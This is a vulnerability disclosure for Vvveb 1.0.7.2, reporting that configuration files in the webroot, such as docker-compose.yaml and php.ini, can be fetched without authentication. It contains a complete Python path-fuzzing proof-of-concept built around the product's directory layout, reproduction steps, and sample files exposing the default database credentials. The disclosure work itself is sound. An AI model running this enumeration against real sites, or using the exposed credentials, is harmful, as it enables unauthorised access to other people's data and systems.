Default installations of Vvveb ship with numerous sensitive project and configuration files located inside the webroot. These files are accessible over HTTP due to insufficient access controls and permissive server configuration. An unauthenticated remote attacker can enumerate likely paths (fuzz/wordlist) and retrieve files such as composer.json, docker-compose.yaml, php.ini, LICENSE, README.md, and other files that may contain sensitive configuration, credentials, or deployment information.
This is a post-installation information disclosure caused by insecure defaults and lack of server-side protections to prevent direct access to configuration and system files.
- Confidential information exposure: configuration files (e.g.,
docker-compose.yaml), PHP configuration (php.ini), and other files which may contain plaintext credentials or internal deployment details are retrievable. - Credential/secret leakage:
docker-compose.yamlin the reported case contained default database credentials (vvveb:vvveb) which, if reused in other places (admin panels, remote services), increase attack surface. - Reconnaissance facilitation: exposed files reveal directory layout, available endpoints, and components which can help an attacker craft more targeted attacks (e.g., SQLi, RCE, or auth bypass) against the application or the hosting environment.
The default installation and repository layout place operational files and configuration (e.g., docker-compose.yaml, php.ini, .env-like files, composer.json) within the web-accessible root. Web server configuration does not deny access to these files by default (no deny rules or appropriate Location/<Files> exclusions). As a result, HTTP requests to these paths return file contents (HTTP 200) rather than 403/404.
- Target:
Vvveb 1.0.7.2 - Method: Targeted path fuzzing using a path dictionary matching the project's directory layout.
A simple Python script recursively guesses project files and directories and performs HTTP GET requests against each path. Example results (excerpt):
GET /composer.json— 200 — returnedcomposer.jsoncontentGET /docker-compose.yaml— 200 — returneddocker-compose.yaml(contained DB credentials)GET /php.ini— 200 — returned PHP configurationGET /README.md,/LICENSE,/public/index.php,/install/index.php, etc. — 200
Some paths returned 403 (e.g., .htaccess, certain admin files), but many did not.
Observed: downloading docker-compose.yaml exposed MYSQL_ROOT_PASSWORD, MYSQL_USER, MYSQL_PASSWORD, and application DB credentials.
The full PoC script used during the research is included below. It enumerates a provided directory structure and logs any non-403 responses. (Original PoC code included in the disclosure document.)
import requests
from urllib.parse import urljoin
import logging
from concurrent.futures import ThreadPoolExecutor
# Configure logging
logging.basicConfig(filename='fuzz_results.log', level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s')
# Base URL of the target website
BASE_URL = "http://localhost/"
# Directory structure as provided
DIRECTORY_STRUCTURE = {
"": [
"LICENSE", "README.md", "apache-vvveb.conf", "build.sh", "cli.php", "composer.json",
"docker-compose.yaml", "env.php", "index.php", "nginx-docker.conf", "nginx-live.conf",
"nginx.conf", "php.ini",
{"admin": [
".htaccess", "admin-bar.php", "index.php",
{"component": []}, {"controller": []}, {"field": []}, {"sql": []}, {"template": []}, {"validate": []}
]},
{"app": [
{"component": []}, {"controller": []}, {"fields": []}, {"sql": []}, {"template": []}, {"validate": []}
]},
{"config": [
"admin-menu.php", "admin.php", "app-routes.php", "app.php", "cron.php", "custom-post-menu.php",
"custom-product-menu.php", "db.php", "graphql-routes.php", "graphql.php", "install.php", "mail.php",
"plugins.php", "rest-routes.php", "rest.php", "sites.php"
]},
{"graphql": [
"index.php", "types.php", {"controller": []}, {"transform": []}
]},
{"install": [
"index.php", {"controller": []}, {"sql": []}, {"template": []}
]},
{"locale": [
{"nocache": []}
]},
{"plugins": [
{"captcha": []}, {"catalog-mode": []}, {"cdn": []}, {"chatgpt": []}, {"contact-form": []},
{"content": []}, {"cookie-notice": []}, {"currency-update": []}, {"debug": []}, {"dicebear": []},
{"gravatar": []}, {"hide-ecommerce": []}, {"import-wordpress": []}, {"insert-scripts": []},
{"language-specific-template": []}, {"markdown-editor": []}, {"markdown-import": []}, {"minify": []},
{"payment": []}, {"portfolio-cpt": []}, {"seo": []}, {"shipping": []}, {"test-plugin": []},
{"toc-posts": []}, {"transliterate": []}
]},
{"public": [
".htaccess", "error404.html", "error500.html", "favicon.ico", "index.php", "maintenance.html",
"service-worker.js", "vrobots.txt",
{"admin": []}, {"assets-cache": []}, {"css": []}, {"fonts": []}, {"image-cache": []}, {"img": []},
{"install": []}, {"js": []}, {"media": []}, {"page-cache": []}, {"plugins": []}, {"resources": []},
{"rest": []}, {"themes": []}, {"vadmin": []}
]},
{"rest": [
"index.php", {"controller": []}
]},
{"storage": [
".htaccess", {"backup": []}, {"cache": []}, {"compiled-templates": []}, {"digital_assets": []},
{"logs": []}, {"model": []}, {"sqlite": []}, {"upgrade": []}
]},
{"system": [
"cache-manager.php", "cache.php", "config.php", "cron.php", "db.php", "email.php", "event.php",
"functions.php", "images.php", "media.php", "page-cache.php", "payment-method.php", "payment.php",
"routes.php", "session.php", "setting.php", "shipping-method.php", "shipping.php", "sites.php",
"update.php", "validator.php",
{"cache": []}, {"cart": []}, {"component": []}, {"core": []}, {"data": []}, {"db": []},
{"extensions": []}, {"fields": []}, {"functions": []}, {"import": []}, {"mail": []}, {"media": []},
{"meta": []}, {"session": []}, {"sqlp": []}, {"traits": []}, {"user": []}, {"vtpl": []}
]},
{"vendor": [
"autoload.php"
]}
]
}
# Session for persistent connections
session = requests.Session()
def check_url(url):
"""Check if a URL is accessible and log the result."""
print(f"Testing: {url}")
try:
response = session.get(url, timeout=5, stream=True)
status = response.status_code
content_length = len(response.content) if response.content else 0
if status == 403:
print(f"Skipped (403 Forbidden): {url}")
return None, 0 # Skip 403 responses
elif status == 200:
message = f"Accessible - URL: {url} | Status: {status} | Content-Length: {content_length}"
print(f"Result: {message}")
logging.info(message)
elif status == 404:
message = f"Not found - URL: {url} | Status: {status} | Content-Length: {content_length}"
print(f"Result: {message}")
logging.info(message)
else:
message = f"Other status - URL: {url} | Status: {status} | Content-Length: {content_length}"
print(f"Result: {message}")
logging.info(message)
return status, content_length
except requests.RequestException as e:
message = f"Error accessing {url}: {e}"
print(f"Result: {message}")
logging.error(message)
return None, 0
def fuzz_path(base_path, items):
"""Recursively fuzz files and directories in the given path."""
results = []
for item in items:
if isinstance(item, str):
# It's a file
url = urljoin(BASE_URL, f"{base_path}/{item}" if base_path else item)
status, content_length = check_url(url)
if status is not None: # Only include non-403 results
results.append((url, status, content_length))
elif isinstance(item, dict):
# It's a directory
dir_name, contents = next(iter(item.items()))
new_base_path = f"{base_path}/{dir_name}" if base_path else dir_name
url = urljoin(BASE_URL, new_base_path)
status, content_length = check_url(url)
if status is not None: # Only include non-403 results
results.append((url, status, content_length))
# Recursively fuzz the directory contents
results.extend(fuzz_path(new_base_path, contents))
return results
def main():
print("Starting targeted file and directory fuzzing...")
logging.info("Starting targeted file and directory fuzzing...")
# Use ThreadPoolExecutor for concurrent requests
with ThreadPoolExecutor(max_workers=10) as executor:
futures = []
# Start fuzzing from the root directory
futures.append(executor.submit(fuzz_path, "", DIRECTORY_STRUCTURE[""]))
# Collect results
for future in futures:
try:
future.result()
except Exception as e:
message = f"Error in future: {e}"
print(f"Result: {message}")
logging.error(message)
print("Fuzzing completed.")
logging.info("Fuzzing completed.")
if __name__ == "__main__":
main()Note: The PoC was used only against local instances of the product (or consented targets). Exercise responsible disclosure when reproducing on public targets.
-
Host Vvveb application in default layout or clone repository and serve at
http://<target>/. -
Run the provided PoC script against
http://<target>/or manually request known filenames:/composer.json/docker-compose.yaml/php.ini/README.md/LICENSE/install/index.php/public/index.php
-
Any file returning HTTP 200 with readable contents is an information disclosure.
docker-compose.yaml(example): contains DB credentials in plaintext:
version: "3.8"
services:
db:
container_name: db
hostname: db
#image: mariadb:latest
image: mysql:latest
#command: --default-authentication-plugin=mysql_native_password
restart: always
environment:
MYSQL_ROOT_PASSWORD: vvveb
MYSQL_DATABASE: vvveb
MYSQL_USER: vvveb
MYSQL_PASSWORD: vvveb
volumes:
- db:/var/lib/mysql
networks:
- internal
<SNIP>php.ini(example): configuration entries that may reveal runtime behavior (session settings, opcache settings,allow_url_fopen, etc.).
session.auto_start = Off
session.use_only_cookies = On
session.use_cookies = On
session.use_trans_sid = Off
session.use_strict_mode=On
session.cookie_httponly = On
session.cookie_lifetime=0
session.gc_maxlifetime = 9999998
session.cookie_samesite="Strict"
session.hash_function="sha256"
short_open_tag = Off
register_globals = Off
default_charset = UTF-8
<SNIP>- Research discovered by: 0xHamy & KhanMarshaI
- CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
- CWE-284: Improper Access Controls